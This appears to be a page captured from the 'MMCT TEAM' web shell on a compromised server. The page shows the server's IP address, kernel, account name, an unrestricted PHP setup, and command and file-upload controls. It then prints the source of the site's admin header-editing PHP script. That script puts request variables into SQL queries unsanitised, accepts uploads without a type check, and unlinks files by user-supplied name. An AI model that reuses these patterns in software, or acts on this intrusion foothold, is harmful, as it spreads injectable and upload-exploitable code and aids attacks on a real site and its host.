MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.223.237.246
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/biocareaqua.org/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/biocareaqua.org/admin/edit_header_f.php
<?
require_once("../includes/dbsmain.inc.php");
ob_start();
if(is_post_back()) {
if($del_photo=="del_photo"){
			@unlink(UP_FILES_FS_PATH.$hidden_photo); 
			$sql_edit3=",header_welcome_image=''";
		}else if($_FILES['header_welcome_image']['name']){
			@unlink(UP_FILES_FS_PATH."/".$hidden_photo);
			$file_name3=get_unique_file_name($_FILES['header_welcome_image']['name']);
			move_uploaded_file($_FILES['header_welcome_image']['tmp_name'],UP_FILES_FS_PATH."/".$file_name3);        
			$sql_edit3=",header_welcome_image='$file_name3'";
		}
		
		if($del_photo=="del_photo"){
			@unlink(UP_FILES_FS_PATH.$hidden_photo); 
			$sql_edit6=",home_header_image=''";
		}else if($_FILES['home_header_image']['name']){
			@unlink(UP_FILES_FS_PATH."/".$hidden_photo);
			$file_name3=get_unique_file_name($_FILES['home_header_image']['name']);
			move_uploaded_file($_FILES['home_header_image']['tmp_name'],UP_FILES_FS_PATH."/".$file_name3);        
			$sql_edit6=",home_header_image='$file_name3'";
		}
		
		
		if($del_photo=="del_photo"){
			@unlink(UP_FILES_FS_PATH.$hidden_photo); 
			$sql_edit4=",header_main_image=''";
		}else if($_FILES['header_main_image']['name']){
			@unlink(UP_FILES_FS_PATH."/".$hidden_photo);
			$file_name3=get_unique_file_name($_FILES['header_main_image']['name']);
			move_uploaded_file($_FILES['header_main_image']['tmp_name'],UP_FILES_FS_PATH."/".$file_name3);        
			$sql_edit4=",header_main_image='$file_name3'";
		}
		
		

	if($del_photo=="del_photo"){
			@unlink(UP_FILES_FS_PATH.$hidden_photo); 
			$sql_edit=",header_image=''";
		}else if($_FILES['header_image']['name']){
			@unlink(UP_FILES_FS_PATH."/".$hidden_photo);
			$file_name=get_unique_file_name($_FILES['header_image']['name']);
			move_uploaded_file($_FILES['header_image']['tmp_name'],UP_FILES_FS_PATH."/".$file_name);        
			$sql_edit=",header_image='$file_name'";
		}
		
		if($del_photo=="del_photo"){
			@unlink(UP_FILES_FS_PATH.$hidden_photo); 
			$sql_edit1=",header_logo=''";
		}else if($_FILES['header_logo']['name']){
			@unlink(UP_FILES_FS_PATH."/".$hidden_photo);
			$file_name1=get_unique_file_name($_FILES['header_logo']['name']);
			move_uploaded_file($_FILES['header_logo']['tmp_name'],UP_FILES_FS_PATH."/".$file_name1);        
			$sql_edit1=",header_logo='$file_name1'";
		}
	


if($header_id!='') {
	$sql = "update tbl_header set  	header_status='$header_status' $sql_edit6 $sql_edit4 $sql_edit3 $sql_edit1 $sql_edit ,header_user_id='".$_SESSION['user_id']."'    where header_id ='$header_id' ";
	db_query($sql);
	header("Location: header_list.php");
}else{
	$sql = "insert into tbl_header set header_status='$header_status' $sql_edit6 $sql_edit4 $sql_edit3 $sql_edit1 $sql_edit,header_user_id='".$_SESSION['user_id']."'   ";
	db_query($sql);
	header("Location: header_list.php");
}

			
			header("Location: header_list.php");
			
	
}

$header_id = $_REQUEST['header_id'];
if($header_id!='') {
	//echo "select * from tbl_header where header_id = '$header_id'";
	$result = db_query("select * from tbl_header where header_id = '$header_id'");
	if ($line_raw = mysqli_fetch_array($result)) {
		//$line = ms_form_value($line_raw);
		@extract($line_raw);
	}
}
?>
<link href="styles.css" rel="stylesheet" type="text/css">
<? include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead"> Add/Edit Header </div></td>
              </tr>
            </table>
            <div align="right"><a href="header_list.php">Back to 
              Header List</a>&nbsp;</div>
            <form name="form1" method="post" enctype="multipart/form-data" <?= validate_form()?>>
              <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm">
              <tr>
      <td valign="top" align="center" colspan="2"><? include("error_msgs.inc.php");?></td>
    </tr>
				<? if($header_logo){?>
                 <tr>
                  <td width="177" class="tdLabel">Company  Logo  :</td>
                  <td width="721" class="tdData"><img src="<?=UP_FILES_WS_PATH."/".$header_logo?>" height="50" width="50"  border="0"><br /><input type="checkbox" name="del_photo" id="del_photo" value="del_photo" /> <strong>Delete Photo</strong></td>
                </tr>
                <? } ?> 
               <tr>
                  <td class="tdLabel">Company   Logo :</td>
                  <td class="tdData">
                   <input type="file" name="header_logo" id="header_logo" ><!--alt="file|.jpg,png,gif,jpeg,JPG,PNG,GIF,JPEG|cSens"--></td>
                </tr>
				
				<? if($header_image){?>
                 <tr>
                  <td width="177" class="tdLabel">Header  Flash  :</td>
                  <td width="721" class="tdData"><img src="<?=UP_FILES_WS_PATH."/".$header_image?>" height="50" width="50"  border="0"><br /><input type="checkbox" name="del_photo" id="del_photo" value="del_photo" /> <strong>Delete Photo</strong></td>
                </tr>
                <? } ?> 
               <tr>
			   
			    <tr>
                  <td class="tdLabel">Header Flash :</td>
                  <td class="tdData">
                   <input type="file" name="header_image" id="header_image" ><!--alt="file|.jpg,png,gif,jpeg,JPG,PNG,GIF,JPEG|cSens"--></td>
                </tr>
				
				<? if($header_image){?>
                 <tr>
                  <td width="177" class="tdLabel">Home Header   Flash  :</td>
                  <td width="721" class="tdData"><img src="<?=UP_FILES_WS_PATH."/".$home_header_image?>" height="50" width="50"  border="0"></td>
                </tr>
                <? } ?> 
               <tr>
			   
			    <tr>
                  <td class="tdLabel">Home Header Flash :</td>
                  <td class="tdData">
                   <input type="file" name="home_header_image" id="home_header_image" ><!--alt="file|.jpg,png,gif,jpeg,JPG,PNG,GIF,JPEG|cSens"--></td>
                </tr>
				
			   <? if($header_welcome_image){?>
                 <tr>
                  <td width="177" class="tdLabel">Welcome  Image  :</td>
                  <td width="721" class="tdData"><img src="<?=UP_FILES_WS_PATH."/".$header_welcome_image?>" height="50" width="50"  border="0"></td>
                </tr>
                <? } ?> 
               <tr>
			   
			    <tr>
                  <td class="tdLabel">Welcome Image :</td>
                  <td class="tdData">
                   <input type="file" name="header_welcome_image" id="header_welcome_image" ><!--alt="file|.jpg,png,gif,jpeg,JPG,PNG,GIF,JPEG|cSens"--></td>
                </tr>
				
				
			   
			   <? if($header_main_image){?>
                 <tr>
                  <td width="177" class="tdLabel">Main   Image  :</td>
                  <td width="721" class="tdData"><img src="<?=UP_FILES_WS_PATH."/".$header_main_image?>" height="50" width="50"  border="0"></td>
                </tr>
                <? } ?> 
               <tr>
			   
                  <td class="tdLabel">Main    Image :</td>
                  <td class="tdData">
                   <input type="file" name="header_main_image" id="header_main_image" ><!--alt="file|.jpg,png,gif,jpeg,JPG,PNG,GIF,JPEG|cSens"--></td>
                </tr>
                <!--<tr>
                  <td class="tdLabel">Meta Title:</td>
                  <td class="tdData"><input name="pg_meta_title"  style="width:40%" type="text" id="pg_meta_title" emsg="Please Enter Meta Title"  value="<? //=$pg_meta_title?>"  alt="blank" class="textfield" /></td>
                </tr>-->
                <tr>
                  <td class="tdLabel">Status:</td>
                  <td class="tdData"><?=status_dropdown('header_status',$header_status);?></td>
                </tr>
                <tr>
                  <td class="tdLabel">&nbsp;</td>
                  <td class="tdData"><input type="hidden" name="header_id" value="<?=$header_id?>" />
                  <input type="hidden" name="cat_pid" value="<?=$id?>" />
                  <input type="image" name="imageField" src="images/buttons/submit.gif" /></td>
                </tr>
              </table>
            </form>
            <? include("bottom.inc.php");?>

MMCT - 2023